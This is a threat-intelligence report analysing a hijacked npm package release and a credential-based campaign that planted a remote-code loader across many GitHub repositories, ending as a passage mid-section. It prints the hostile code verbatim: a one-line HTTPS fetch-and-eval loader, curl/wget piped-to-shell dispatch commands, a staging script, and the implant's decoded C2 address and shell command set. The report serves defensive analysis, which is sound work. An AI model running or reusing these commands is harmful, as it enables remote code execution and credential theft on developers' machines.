Event Report

CloudSEK

GHAPPIER

One loader, sixty-five repositories, twenty-two accounts: an unreported loader family beside DPRK's PolinRider campaign

Category: Adversary Intelligence
TLP: GREEN
Ecosystem: npm

Executive Summary

On 9 September 2026 someone used the maintainer account of a legitimate npm package, @dforge-core/dforge-mcp, for 105 minutes. They already had the ability to push to its main branch when the intrusion began; how they obtained that is the one thing that we cannot definitely answer for now. However, we suspect that it was likely a developer infected with a malicious extension or package that allowed this level of access to the attackers. WIthin the brief window in which the threat actor had access to the developer creds, they ***added a remote code loader, changed three lines so that any push to the main branch started the release workflow, rewrote that workflow fourteen minutes later so it could publish unattended, and shipped the loader as version 0.2.21***. It was the registry's latest release for 35 minutes and 38 seconds before the maintainer reverted everything and published a clean 0.2.22.

There are three interesting observations from the attack that unfolded. First, the compromised release carried valid npm provenance: it was built by GitHub Actions through OIDC trusted publishing, and its attestation still exists in Sigstore's append-only log, naming the attacker's own commit. Nothing was forged and nothing malfunctioned, the attestation is an accurate record of a dishonest input, because ***provenance attests where an artefact was built, not whether its source was honest***. It also explains why no npm credential was needed: under trusted publishing the registry trusts the repository's CI identity, so push access was publish access. Second, ***the payload is one line at 3320 of a 99 KB file, opening a four-stage chain whose final implant deletes itself from disk the moment it runs***. An organisation that executed the release and then searched its machines for a malicious file would find nothing and could reasonably conclude it was unaffected. Every stage still answered when tested five days after the withdrawal.

Third, and found late, a second payload family in another victim's repository ties this to a documented campaign: PolinRider, a DPRK-linked operation that OpenSourceMalware has tracked across thousands of repositories since March 2026, whose signature is exactly this: a payload appended silently to the end of a real project configuration file. It carries no command-and-control address at all. It reads one off the Ethereum blockchain from a wallet published as an indicator for that campaign. An exact match was still beaconing as this report was written. In this case, the configuration is written into the twenty bytes of a recipient address on an empty transaction costing about twenty cents, which means the channel has no domain to suspend, no host to seize and no account to disable. Campaign membership is this report's own finding, established from the sample. The researchers who documented NullReceiver further attribute it to North Korea; that step is theirs rather than ours, it is cited here rather than asserted, and the one independent check we could run did not confirm it.

The campaign's documented method that is to harvest a developer's cached git credentials from an infected machine, then push with them is also the most plausible account of how this maintainer's

account came to be used, and it explains why the same borrowed name appears across dozens of unrelated repositories. The immediate actions are to block the socket endpoint and the two delivery hostnames, sweep for the artefacts the chain leaves behind rather than for the implant, which deletes itself at startup, and pin the package at 0.2.22. The exposed population is small, and nothing here evidences a successful compromise of any organisation. What it evidences is that the remediation everyone performed, withdrawing a version that removed the cheapest component of the operation and left the rest reachable, with no advisory in OSV, in the GitHub database, or from the maintainer to tell anyone still holding 0.2.21 that they should look.

The Campaign at a Glance

This report examines one compromised npm package in detail, but that package is not the subject. It is the part of a larger operation that happened to become visible, and reading it on its own gives the wrong impression of what is going on. This chapter sets out the operation first, so that the detail which follows has somewhere to sit.

One loader, fifty-six repositories, nineteen developers

At the ***centre of the operation is a single file. It is called indexe.cjs***, it is about ninety-nine thousand bytes long, and 3,507 of its 3,508 lines are ordinary, working, unremarkable JavaScript. One line is not. That line fetches code from a server the operator controls and runs whatever comes back, which means the file's real behaviour is not in the file at all and can be changed at any time without touching a single victim.

The same file, byte for byte, is ***currently sitting in sixty-five public repositories belonging to twenty-two different accounts***. It reached them the same way in each case: the operator obtained a developer's stored credentials, and then used those credentials to write into every repository that developer could push to. One compromised person yields a dozen compromised projects, which is why eight of the nineteen account for forty-five of the fifty-six.

Element	What it is	Why it matters
The loader	`indexe.cjs`	One line of 3,508 fetches and runs remote code. The rest is camouflage.
The staging server	`primevector-app924560.vercel.app`	Serves the next stage. Takes a tag as a parameter, so one server supplies every victim.
The campaign tag	`mem=<tag>`	Four values seen -- g1028, g0115, g213515, ghappier -- each covering a batch of victims compromised in the same period.
The victims	22 accounts, 65 repositories	Their credentials, and every repository those credentials reach.
The visible incident	`@dforge-core/dforge-mcp`	One of those developers could publish to npm. The operator used that.

Table 1. The components of the operation. Each is established in detail later in this report, where the counts are also broken down; this table is orientation rather than evidence.

How is a Developer Infected, and What Happens Next ?

The published research on this campaign describes the entry point as a lure: a fake recruitment exercise, a coding test, or a malicious package that a developer is persuaded to install. ***This report cannot confirm the entry point for any specific victim, and does not claim to***. What it can show is everything after it.

Once the operator has a working credential, the valuable thing is not data but the write access it carries. Where that credential comes from is not established by anything in this report, and the possibilities are set out later; on a developer's own machine the usual answer is simply that it is sitting there. A working developer keeps version-control credentials cached on disk so that pushing does not require typing a password every time: an access token in a credential store, an SSH key usually without a passphrase, a command-line tool's saved session. These are files. Anything running as that user can read them, and two-factor authentication does not protect them, because tokens and keys exist precisely so that automation can act without a human present.

With those credentials the operator can write to the developer's repositories as the developer. That is what produces the pattern described above, and it is worth being clear about what it is not: there is no exploitation of GitHub, no vulnerability in any package, and no compromise of npm. Every action in this report is an authorised action taken with a stolen key.

From developer compromise to npm publishing

Fifty-five of the fifty-six repositories are ordinary projects: portfolios, dashboards, coursework, small applications. Nobody depends on them, and a loader sitting in one of them threatens only its owner. The fifty-sixth was different. Its owner maintained a package published on npm, which meant his credentials were not just access to his own work but a route to everyone who installed that package.

On 9 September 2026 the operator took that route. What follows in the next section is a minute-by-minute account of it, and it is the best-documented hour of the whole operation -- not because it was the most important thing the operator did, but because publishing to a registry leaves records that writing to a private project does not. The withdrawal of that package closed the registry incident. It did nothing to the compromised accounts, or to whatever the operator still holds behind them, which is where this campaign actually lives.

Attack Timeline: the npm compromise

@dforge-core/dforge-mcp is a Model Context Protocol server for authoring dForge modules, published from a single maintainer account since 21 May 2026 across forty releases, thirty-eight of which are still on the registry. The compromise did not begin with the package. It began with the account, and everything that follows took 105 minutes, from the first push to the maintainer's revert.



Figure 1. The intrusion, reconstructed from repository push events and the npm packument time index. The gap between a commit landing and a version appearing on npm is 25 and 29 seconds, because by that point the workflow published automatically.

Commit Authors

Every git commit carries two names: an author and a committer. Both are plain text, set on whoever's machine made the commit, and checked by nobody. They are not proof of identity and were never meant to be.

What does prove something is the credential used to push the commits to GitHub. GitHub records that separately, as the actor on a push event. Here the two disagree, and the disagreement is what makes the rest of this research readable.

Commit	Pushed	Author (self-declared)	Committer (self-declared)	Push actor (authenticated)	What it did
d1d55e13	15:57:38	Igor Shtanko	third party	**repository owner**	Force-push; added the loader and a preinstall hook
d66caa6c	16:25:59	third party	third party	**repository owner**	Added the push trigger
a0c79852	16:39:58	third party	third party	**repository owner**	Rewrote the workflow and its warning comment
2cc213e7	16:44:04	third party	third party	**repository owner**	Version bump to 0.2.20; triggers the failed publish
7ae465c4	17:19:21	third party	third party	**repository owner**	Moved payload into skills/, repointed entry points; published 0.2.21
720d4b89	17:42:36	Igor Shtanko	Igor Shtanko	**repository owner**	The maintainer's revert

Table 2. The whole intrusion, six commits. Identifiers link to the public repository. Push actors come from the repository events feed, retrieved 2026-09-14 and preserved in the evidence set because GitHub documents roughly ninety days for that feed, though observed retention on this repository was about twenty-nine. Every commit here is unsigned, as is every direct push in this repository's history.

Read the last two columns together. The names written into the commits point at a third party. The credential that actually pushed them was the maintainer's own account, every single time, including the two commits that undid the attack. The third party pushed nothing.

That third party did not carry out this intrusion. Across every commit on every branch of the repository, that email address appears only between 15:57:36 and 17:19:11 on 9 September, first seen and last seen both inside the intrusion, with no involvement in the project before or since. GitHub shows it as a linked account because the address is a verified email on a real account, but that link is only a text match against commit metadata. It proves nothing about who was at the keyboard. The attribution section explains where the name most likely came from, and why the person it belongs to is a victim here rather than a suspect.

Initial Access Vector

Every step below begins from a position the attacker was already in. Before the first commit at 15:57, they could push to the main branch of this repository as its owner. The timeline is what they did with that access. What is established is narrow and worth stating exactly. Every push in the window authenticated as the repository owner's account, on two independent records: the repository events feed, and the

Actions run history, which logs both the actor and the triggering actor for each run. The first action was a force-push, which rewrites the branch rather than adding to it, and it succeeded, so whatever branch protection existed did not stand in its way. Beyond that, the credential itself leaves no trace we can read from outside.

Because the question matters more than the answer we can give, the candidate routes are set out below with what would confirm each. The first is the most likely on present evidence, because it is the documented method of the campaign this operation belongs to, which the attribution chapter sets out.

Possible route	Why it is plausible here	What would confirm or rule it out
A credential cached on the maintainer's machine	A personal access token in git's credential store, an SSH key (usually with no passphrase), or the GitHub CLI token in the user's config. All sit in plain files at rest. This campaign's documented method is to harvest exactly these from an infected developer host and push with them.	Host forensics on that machine; the GitHub audit log, which records the token identifier, source address and user agent for each push.
A phished or replayed web session	Would give the same push capability. Nothing observed argues for or against it.	The same audit log, plus the account's sign-in history.
Malicious code run on the maintainer's machine	This campaign lures developers with fake recruitment exercises and malicious packages, then reads their credential stores. It is the same route as the first line, one step earlier.	Host forensics; the presence of the campaign's own loader or marker files on that machine.
The account holder acting himself	Stated because the observable evidence does not exclude it. Every signal -- the push actor, the unsigned commits, the force-push, the borrowed committer name -- looks identical under both readings.	Nothing available externally. This report proceeds on the theft reading for the three reasons given in the disclaimer, all inferences from behaviour rather than findings.

Table 3. Candidate initial-access routes. None is established. The first and third are the same route seen at two stages, and are favoured only because they match the documented behaviour of the campaign identified in the attribution chapter.

Two-factor authentication would not have stopped the first two routes. Tokens and SSH keys exist so that automation can push without an interactive prompt, which is precisely why they are not covered by a second factor. A stolen token is a working credential until it is revoked. This is worth stating plainly because "the account had 2FA" is often treated as ruling out credential theft, and it does not.

One thing was checked and can be ruled out: the repository was not the source of the leak. No credential file appears anywhere in its history, not an environment file, an npm configuration, a git credential store, an SSH key or a shell profile. The attacker's rewritten workflow contains no step that reads or transmits a secret, and its permissions are the minimum trusted publishing requirements. There was, in any case, no long-lived registry token in that workflow to steal, because the registry credential is minted fresh by the pipeline at publish time. Whatever was taken was taken somewhere other than here.

[15:57] The Loader Goes In

The first action was a force-push, which rewrites history rather than adding to it. On 8 September the maintainer had made an ordinary commit, `2424db82`, changing a CHANGELOG and a test file; it shipped that morning as 0.2.19. At 15:57:38 the next afternoon that commit was replaced by `d1d55e13`, which kept the same parent, the same commit message character for character, and the same author name, email and date. What it added was indexe.cjs, 3,508 lines. GitHub still reports the two as diverged, one ahead and one behind: compare 2424db82...d1d55e13.



Figure 2. The payload commit as GitHub renders it. A message describing a test change sits above a diff of 3,528 additions across four files.



Figure 3. The same commit compared against the genuine one it copies. Same parent, same message, different contents and different committer.

Because the copy kept the original's author line, the payload commit carries an 8 September date. That is not a date the attacker chose to look older; git preserves the author line when a commit is replayed and

rewrites only the committer, so one operation produced both the old date and the borrowed name. An earlier draft of this report counted them as two separate tricks. The maintainer's real commit survives only because an old feature branch still points at it. The lesson is simpler than the mechanism: a commit date tells you nothing about when anything happened.

The same commit also added an install hook to package.json, pointing at the loader. That hook is the reason the first publishing attempt failed, half an hour later.

[16:25] Modifying the Publishing Pipeline

This project's publish workflow ran only when someone started it by hand, and the maintainer had written the reason into the file: once a version number reaches npm it is taken for good, so every publish should be intentional.

The second commit added three lines directly beneath that comment.

```
 on:
+  push:
+    branches:
+      - main
   workflow_dispatch:
```

Commit d66caa6c74e7, the entire diff. The maintainer's comment explaining why the workflow must never fire on its own was left sitting directly above it.



Figure 4. The same three lines in GitHub's own view, added immediately above the pre-existing manual-only trigger.

From this moment any commit pushed to the main branch was a release. That is the hinge of the whole intrusion: ***the attacker never needed an npm password or token, because the workflow publishes through OIDC trusted publishing***, where the registry trusts the repository's own CI identity rather than a stored secret. Push access had just been converted into publish access.

The three lines did not publish anything by themselves. The first run they caused, on the workflow commit itself, failed before it reached the publish step: the workflow as it then stood still expected the version and the dist-tag to be supplied by whoever started it by hand, and a push supplies neither. The attacker had made the workflow fire without yet making it able to run unattended.

That is a different failure from the one described in the two sections below, which is a failure of the published package rather than of the pipeline. Fourteen minutes separate them, and they have nothing in common except the attacker.



Figure 5. That first push-triggered run, failing. Runs are filtered to failures here; the other two entries are unrelated manual runs from August.

[16:39] Rewriting the Warning

Fourteen minutes later a third commit rewrote the workflow more thoroughly, and rewrote the maintainer's comment along with it. The warning against automatic publishing was replaced by text presenting automatic publishing as the intended design: push to main, read the version from package.json, publish if that version does not already exist.

The justification was edited to fit the change, rather than the change being made to fit the justification. Anyone opening the file afterwards would read a coherent, deliberate-looking design.



Figure 6. The repository's full workflow-run history, twenty-two runs, every one attributed to the maintainer's account. The trigger distinction matters here: the clean 0.2.22 was started by hand, while the runs that published the backdoor were triggered by commits pushed to the branch.

[16:44] First Attempt that Broke the Package

The fourth commit contains nothing but a version number, 0.2.18 raised to 0.2.20. That alone was now enough to publish. Twenty-five seconds later 0.2.20 was on npm.

Version	Published (UTC)	Registry state	Outcome
`0.2.19`	`2026-09-08 09:37:59`	Published	No loader
`0.2.20`	`2026-09-09 16:44:29`	Withdrawn	**Failed attempt**
`0.2.21`	`2026-09-09 17:19:50`	Withdrawn	**Backdoor shipped**
`0.2.22`	`2026-09-09 17:55:28`	Published, current	No loader

Table 4. Timestamps from the npm packument time index, which keeps a record of withdrawn versions. This is the only reason 0.2.20 and 0.2.21 can be dated at all.

It did not work, for a reason the attacker could not have seen while testing. ***The install hook pointed at indexe.cjs at the repository root, but the package's files list does not include the root, so npm pack left the payload out of the tarball. The hook shipped naming a file that was not there***.

The consequence was worse for the attacker than doing nothing. An install hook naming a missing file makes node exit with an error, npm aborts the install and rolls the whole tree back. For the thirty-five minutes 0.2.20 was the latest release, nobody could install this package at all. The reason it passed unnoticed in testing is that npm publish never runs install hooks: in the working tree and in CI the file sat at the root and everything that ran it succeeded. It only breaks in the consumer's install. It is also why the eventual withdrawal covered two versions rather than one.

[17:19] Second Attempt - Great Success !

The fix came in a single commit and was neatly done. The install hook was removed. The payload was moved from the repository root to skills/indexe.cjs, and skills/ was already in the package's files list, so the payload now shipped without that list being touched at all. In place of the hook, the package's three execution entry points were repointed at the moved file.

```
12      "bin": {
13          "dforge-mcp": "skills/indexe.cjs",
14          "dforge-install-skills": "skills/indexe.cjs"
15      },
16      "files": [
17          "dist/",
18          "docs/",
19          "resources/",
20          "skills/",
21          "scripts/install-skills.mjs",
22          "README.md",
23          "CHANGELOG.md"
24      ],
25      "main": "skills/indexe.cjs",
```

package.json, @dforge-core/dforge-mcp@0.2.21, lines 12 to 25. Tabs are shown as four spaces for legibility; the archived file preserves the original bytes. File SHA-256 a85c6955ad689aa89eaae8c8b30723935274f069aed044489cfd922b46bcf2f7.

Lines 13 and 14 point both command-line entry points at the injected file, and line 25 points the module entry point at it. Line 20 is why the files list needed no edit. The effect is that every way of using this package reaches the loader: running npx dforge-mcp reaches it, launching the configured MCP server reaches it, importing the package from code reaches it. The real server is still sitting in the tarball, and nothing calls it. In 0.2.22 all three lines revert exactly.

There is no install hook in 0.2.21. It belonged to the failed attempt and was removed. Execution happens when the MCP server is launched, not when the package is installed, so an estate that installed 0.2.21 during the window but never started the server did not run the loader. That distinction is the difference between an exposure and an incident and it is also why searching an estate for a malicious preinstall hook finds the broken version and misses the working one.

[17:42] The maintainer reverts

At 17:42:36 the maintainer pushed a revert naming the problem precisely, removing skills/indexe.cjs and restoring manual publishing. A clean 0.2.22 followed at 17:55:28, and by 17:55:29, the packument's last-modified timestamp being 993 milliseconds after the publish both 0.2.20 and 0.2.21 had been withdrawn. A clean release and two withdrawals inside the same second is one deliberate action, not a sequence of discoveries.



Figure 7. The maintainer's own revert, naming the backdoor in plain words and recording that the withdrawn version was still outstanding on npm. It is a contemporaneous statement by an interested party rather than independent proof, and is cited here as such.

The response was fast, correct, and complete as far as the registry is concerned. It reached the carrier and stopped there. None of the four hosted stages described in the next chapter is tied to this package, and all four answered normally when each was requested once on 14 September, five days later.

Malware Analysis

The injected file describes itself, in writing, as the opposite of what it is. Its header is the first exhibit because the rest of this section is a list of the ways that header is false.

```
3  /**
4   * Isolated Node preinstall computational kernel.
5   *
6   * Contract:
7   * - Runs only as an npm/yarn/pnpm preinstall script.
8   * - Performs CPU-bound work entirely in process memory.
9   * - Does not require, open, read, write, delete, or chmod any files.
10  * - Does not open sockets, spawn processes, or mutate environment state
11  *   beyond a few local constants.
12  * - Always exits 0 so dependency installation is not blocked.
13  */
```

skills/indexe.cjs, @dforge-core/dforge-mcp@0.2.21, lines 3 to 13. File SHA-256 f2c8234c00b1f5b0b135534bf51207dc0239647890b73531996d60c90cf9e866; tarball SHA-256 in Table 14.

Line 7 claims the file runs only as a preinstall script, and the package declares no preinstall script at all; it runs as the package's main entry point instead. Line 9 says it does not require any files, and line 3320 calls require. Line 10 says it does not open sockets or spawn processes, and line 3320 opens an HTTPS request whose response spawns a shell. Only the final clause is true: the file does exit zero, which is what keeps the deception quiet.

The other 3,000-odd lines are genuine. The file implements SplitMix64, Xoshiro256, PCG32 and a Mersenne Twister, k-means clustering, a small multilayer perceptron trainer, a travelling-salesman

annealer, a genetic optimiser, a minimax search and a SAT solver. None of it is obfuscated and all of it runs. It is there so that a reviewer opening the file sees a plausible benchmark harness, and so that a scanner looking for obfuscation finds none. The concealment is not encryption; it is volume and plausibility.

The payload is one line, and its placement is the tradecraft.

```
3315    report.add('mlp', (loss * 1000) | 0, km.assign[0]);
3316    report.add('tsp', (tsp.length * 100) | 0, (ga.score * 1000) | 0);
3317    report.add('minimax', (mm * 1000) | 0, 0);
3318  }
3319
3320  require('https').get('https://primevector-app924560.vercel.app/api/key?mem=ghappier',r=>{let
      d='';r.on('data',c=>d+=c);r.on('end',()=>{eval(d)})});
3321
3322  function kernelSatVm(rng, report) {
3323    const clauses = [];
3324    for (let i = 0; i < 10; i++) {
```

skills/indexe.cjs, @dforge-core/dforge-mcp@0.2.21, lines 3315 to 3324. The wrapped appearance of line 3320 is the source's own formatting; it is a single line in the file.

Line 3318 closes the multilayer-perceptron kernel and line 3322 opens the SAT kernel. Line 3320 sits between them and is the only statement in the entire file at top level rather than inside a function, which makes it the only line that executes on load. It requires the https module, issues a GET, accumulates the response body into d, and on end passes d to eval. There is no conditional, no delay and no environment check: the fetch happens every time the module is loaded. The mem query parameter carries the value ghappier, the operator's own campaign tag, which reappears at every stage that follows.

Figure 8. The delivery chain. Stage 0 is the only component that ever shipped inside the package; stages 1 to 4 are fetched at run time and were all still being served on 2026-09-14.

Everything from here was retrieved from the operator's servers rather than from the package, so the remaining code listings carry no line numbers.

Stage 1:Platform Dispatch

The evaluated response is 795 bytes of JavaScript. It writes the campaign tag to a marker file, then branches on the platform.

```
const markerFile = path.join(tmpDir, ".git-checker");
fs.writeFileSync(markerFile, "ghappier", "utf8");

if (platform === "darwin") {
  args = ["-c", "curl -s https://brightlaunch-ext75642.vercel.app/api/m | sh"];
} else if (platform === "linux") {
  args = ["-c", "wget -qO- https://brightlaunch-ext75642.vercel.app/api/l | sh"];
} else if (platform === "win32") {
  command = "cmd.exe";
  args = ["/c", "curl -s https://brightlaunch-ext75642.vercel.app/api/w | cmd"];
}

spawn(command, args, { stdio: "ignore" });
```

Stage 1, excerpted verbatim from the response to /api/key on 2026-09-14. SHA-256 c8337c06f4d3e79dd65aca4058b7a32c763468cdc7df76a849c55395d703a40d. Served dynamically and shipped in no package, so no line numbers are given.

The marker is written before anything else and is the campaign's own bookkeeping: a file named .git-checker in a temporary directory reads as tooling, and its contents are the tag the final implant reads back to associate a beacon with the campaign that produced it. All three platform branches are populated, so macOS and Windows hosts are in scope as fully as Linux. The Windows branch pipes to cmd rather than to a shell, and stdio is set to ignore so nothing surfaces in a terminal.

A note on the name. ***GHAPPIER is not a label this report invented. It is the operator's own, and it travels the whole length of their chain***: a parameter on the stage-1 URL, the string stage 1 writes into the marker file, the value stage 4 reads back when it loads, and the fourth field of every registration the implant sends to its controller. Using it as the codename keeps the report anchored to something evidential rather than to a characterisation of our own.

That provenance also fixes the limit of what the name can carry. The tag is a parameter of the deployment, not a property of the tooling. Stage 4 holds no copy of it, the string appears nowhere in its code and the field defaults to the literal character zero when the marker file is absent, so the operator sets it at deployment time and can set it to anything. A differently tagged run of this identical chain would be the same operator and would not answer to this name. The string is therefore strong confirmation where it appears and a poor primary hunting term; the durable indicators are the marker and lock filenames, the loader header, the registration format set out under Stage 4, and the infrastructure in Tables 15 to 17.

Stage 2: Staging and Detachment

Each branch returns a short script. The Linux variant is representative of all three.

```
TARGET_DIR="$HOME/.config"
clear
curl -s -L -o "$TARGET_DIR/tokenlinux.npl"
"http://brightlaunch-ext75642.vercel.app/api/tokenl?st=..."
clear
mv "$TARGET_DIR/tokenlinux.npl" "$TARGET_DIR/tokenlinux.sh"
clear
chmod +x "$TARGET_DIR/tokenlinux.sh"
clear
nohup bash "$TARGET_DIR/tokenlinux.sh" > /dev/null 2>&1 &
clear
```

Stage 2 for Linux, excerpted from /api/l. The st parameter is a long base64 blob, truncated here and held in full in the campaign evidence set. SHA-256 50ed4f880d6d38ee26f410fc6bd9b734e4857b3a94ee6ef152e7e1158bd83153.

Three details matter here. The download lands with a .npl extension and is renamed to .sh only afterwards, which defeats a monitor watching for scripts being written. The repeated clear is not formatting: it runs between every step so that an operator watching a terminal during an install sees nothing accumulate. And the fetch is plain HTTP even though the stage that requested it arrived over HTTPS, which means the second stage is modifiable in transit by anyone on the path. The macOS variant is the same script writing to $HOME/Library; the Windows variant deletes prior artefacts first, writes %APPDATA%\token.cmd and executes it.

Stage 3: BYOR - Bring Your Own Runtime

The third stage is the one that changes the threat model. ***Stage 3 does not assume Node.js is present. It downloads Node v20.11.1 from nodejs.org, the genuine distribution site, unpacks it into the user's Downloads directory and puts it on PATH for the rest of the chain***. This removes a control people rely on without stating it. A build agent or a locked-down workstation with no Node runtime is not out of scope for a Node payload. Blocking nodejs.org is not the remedy either, because developers legitimately need it; the detectable event is a runtime being downloaded and then executed from a user directory.

On Windows the same stage first relaunches itself through PowerShell with the window hidden, resolves the current Node release, downloads the MSI and extracts a portable node.exe from it. The POSIX variant deletes itself once the next stage is running; the Windows variant does not, because all four of its self-delete calls sit on error paths, so token.cmd survives a successful run and is the best disk artefact in this chain, which is why a host that executed this chain may retain the implant and the markers while retaining no trace of how they arrived.

Stage 4: The Implant

One consequence of that sequence matters more than the rest, because it inverts the obvious hunt. The fix at 0.2.21 was not to relocate the hook but to abandon it: preinstall was deleted, and main and both bin entries were repointed at skills/indexe.cjs instead. So 0.2.21 never executes on installation at all, ***it fires only when the MCP server is launched, when either console script is run, or when the package is required***. Searching lockfiles or npm logs for a preinstall hook finds 0.2.20 and misses 0.2.21 entirely.

Stage 4 is a 40 KB JavaScript file, accompanied by a package.json that npm is then run to install dependencies for. The path differs by platform, and the report's earlier drafts gave only the POSIX one. On Linux and macOS it is written to $HOME/.npm/.vscode/parser.js; on Windows it is %APPDATA%\VSCODE\loader.js. Both are the same disguise: a directory that reads as editor or tooling residue rather than as anything installed.

The implant is obfuscated with a rotated, encoded string array. Its manifest is not, and it states the capability plainly.

```
{"name":"tokenapp","version":"1.0.0",
  "scripts":{"test":"npx hardhat test","deploy":"npx hardhat run scripts/deploy.js"},
  "devDependencies":{"hardhat":"^2.20.2"},
  "dependencies":{
    "axios":"^1.12.2","basic-ftp":"^5.0.5","child_process":"^1.0.2",
    "clipboardy":"^4.0.0","crypto":"^1.0.1","execp":"^0.0.1",
    "fs":"^0.0.1-security","jsonwebtoken":"^9.0.2",
    "process":"^0.11.10","ps-node":"^0.1.6","request":"^2.88.2",
    "unzipper":"^0.12.3","ws":"^8.16.0","archiver":"^7.0.1"}}
```

The stage-4 dependency manifest, served verbatim from /api/package. SHA-256 a434ca08be20d88f4e731bd1085651f7de8e053dbd9966583114c83cb8092c99.

The manifest declares fifteen packages, not the eleven an earlier draft listed. Eleven are genuine third parties: axios, basic-ftp, clipboardy, execp, jsonwebtoken, ps-node, request, unzipper, ws, archiver and the devDependency hardhat. The remaining four, child_process, crypto, fs and process, are npm packages squatting the names of Node core modules, and are therefore unreachable through require at all, because core always wins resolution. ***Read as a shopping list the third-party set suggests clipboard capture, exfiltration and staging, a persistent channel, process enumeration and Ethereum tooling***. The package names itself tokenapp.

The implant imports none of the eleven third parties. Its only imports are child_process, fs, os, path and net, all Node built-ins; the last two were obfuscated and were resolved by decoding the string table. Its two core-name imports resolve to built-ins, not to the declared squat packages. The manifest is therefore not evidence that clipboard capture or file staging was performed, and this report no longer presents it as such.

The obfuscator's string table is closed at 333 entries, every one of which is referenced and none of which lies outside the decoder's index range, so no string in the program is unseen. The token require appears exactly five times in the whole file, which also means it cannot have been aliased. Every indirect loading mechanism scores zero, including after hex and unicode escapes are decoded. And the point is confirmed behaviourally rather than only textually. We ran the implant in an isolated environment where it established a C2 connection while its node_modules directory held a single stub package, and because all five imports are top level and unguarded, any additional module would have been ignored before the socket code ran.

What the manifest is not is inert. Stage 3 fetches the implant only after npm install succeeds, and aborts the entire chain if it fails, so the dependency list is a precondition for delivery rather than decoration and blocking those installs breaks the chain before stage 4 exists. Whether the unused packages are staged for later use through the command channel, or are uncurated residue of the Hardhat project template the manifest was copied from, is not determinable from the artefacts.

Decoding the string array yields the command and control configuration directly. It is set out below in four parts: the connection constants, the way the implant identifies its host, the protocol it speaks, and the commands it accepts.

Setting	Decoded value	Notes
SERVER_HOST	193.26.115.131	Hard-coded; no domain, no fallback
SERVER_PORT	0x3b30 (15152)	Overridable via process.env.SERVER_PORT
SERVER_API_URL	brightlaunch-ext75642.vercel.app/api/handle	Used only by the URLS rewrite, below
RECONNECT_DELAY	0x927c0 (600,000 ms)	Measured from socket close, not a beacon interval

Setting	Decoded value	Notes
keepalive	0x493e0 (300,000 ms)	0xafc8 (45,000 ms) on darwin
setKeepAlive	0xea60 (60,000 ms)	Non-darwin only
socket timeout	0x57e40 (360,000 ms)	Connect timeout; cleared once connected
LOCK_UPDATE	600,000 ms	LOCK_TIMEOUT 1,200,000 ms

Table 5. Connection constants, recovered by decoding the obfuscator's string table; these strings do not appear contiguously in the file, so no line numbers are given. Timing values were then confirmed on the wire against a live implant rather than read from the source alone. Analysed file SHA-256 63b62c6d9c35fed72a518189f63889d7aee9aed2512754b8ec264807c6970592.

Platform	Identity command	Parse, and what happens on failure
Windows	reg query HKLM\Software\Microsoft\Cryptography /v MachineGuid	/MachineGuid\s+REG_SZ\s+([^\s]+)/ ; on miss falls back to os.hostname()
macOS	ioreg -rd1 -c IOPlatformExpertDevice | grep IOPlatformUUID	/"IOPlatformUUID"\s=\s"(.+)"/ ; on miss falls back to os.hostname()
Linux	cat /etc/machine-id	NO regex and NO empty-value guard. An empty file yields an EMPTY identity, not the hostname; only a thrown exception falls back.

Table 6. Host fingerprinting. The platform is read from os.platform() and the campaign tag once at module load from .git-checker, then cached; if that file is absent the tag is the literal string 0.

Command	Behaviour	What the operator gets back
cd <dir>	process.chdir. Persists across subsequent commands.	"Changed directory to <cwd>", or a failure message
ss_exec <cmd>	Detached, stdio ignored, windowsHide, unref after 200 ms. Windows runs start /b cmd /c; POSIX runs cd "<dir>" && <cmd>.	Nothing at all -- fire and forget
anything else	exec(cmd, {timeout: 60000}).	stdout truncated to 2,000 chars as "Output: <stdout>". On error stdout is discarded; stderr is never returned on success; beyond Node's ~1 MiB maxBuffer the operator gets an error and no data.

Table 7. The command set. Dispatch is on the trimmed string, so a bare cd or a bare ss_exec falls through to the default branch and is run as a shell command.

1. **Inbound:** One TCP data event is trimmed and executed as one command, so two commands in a single write means the second is silently discarded.
2. **Outbound** is newline-terminated JSON carrying {status, message, timestamp}, where status is one of connected, keepalive, completed or error. Inside **ss_exec** only, the first URLS<param> token is rewritten to **SERVER_API_URL** with the parameter url-encoded. The parameter stops at whitespace or a pipe. The implant never fetches it itself; it hands the operator a way to pull a second-stage tool through the shell it already has.
3. **Lock file:** The file $TMPDIR/vscode-ext.lock is rewritten every ten minutes, enforces nothing: the return value of the routine that acquires it is discarded, so a second copy runs and connects

regardless. It is better read as a liveness heartbeat a value under twenty minutes old means an implant is running.

4. **Anti-Analysis:** The word debugger is split across two string-table entries so a search for it fails, and a catastrophic-backtracking expression, (((.+)+)+)+$, serves as a timing probe for a stepping debugger.

Read together, those four parts describe a general-purpose remote shell rather than a single-purpose stealer. Two of its properties matter for detection. It reconnects six hundred seconds after its socket closes rather than on a fixed interval, so a session that stays up never reconnects at all and interval-based beacon hunting will not see it. And it swallows its own uncaught exceptions to stay resident, then deletes the scripts that installed it, so the ordinary signs of a crashed or half-finished infection are absent.

The Live Implant: Verifying the Static Findings

Everything in the previous chapter was read out of files. This chapter is what happened when the chain was executed. It was detonated in an isolated Windows 10 laboratory with no route to the internet: every stage was served from a local copy of the operator's content, and 193.26.115.131 was redirected to an emulator on the lab network. The operator was never contacted and has no record of the host.

Three conditions of that laboratory bear on what follows, and are stated before the findings rather than after them. The dependency install was stubbed, so nothing here shows what the stage-4 dependencies do on a real victim. The guest clock ran roughly seven hours fast against a UTC host, so any timestamp inside a captured frame is a victim-clock value and must not be correlated with wall-clock times. And the memory image discussed at the end comes from an earlier detonation than the packet capture, so the two are separate observations of the same payload rather than one continuous record.

What the run settled

The table below is the whole chapter in summary. Each row is a statement the static analysis supported, what execution showed, and the artefact that shows it.

Question	From the file alone	From the run	Proof
Does it need Node installed?	Appears to fetch its own	**Confirmed**	wmic output: node.exe under %APPDATA%, PID 5876
Does the implant survive on disk?	Unlinks itself at start	**Confirmed**	dir of its own directory returns zero files while the process runs
Does stage 3 survive?	Four self-delete calls	**Changed**	All four sit on error paths; token.cmd is present after a clean run

Question	From the file alone	From the run	Proof
Is the protocol a JSON envelope?	String table suggested one	**Changed**	Inbound is raw text; one write is one command
What does ss_exec return?	Read as the shell verb	**Changed**	Returns nothing; the default branch is the shell
Does it persist across reboot?	No persistence code seen	**Confirmed**	No task, run key, service or startup entry on any platform
Can memory recover the payload?	Not addressed	**New**	113 decoded strings present with V8 headers in a guest memory image

Table 8. What execution settled. Three of the seven rows changed a reading taken from the file, and one of those changes what a responder should sweep for.

What the run confirmed

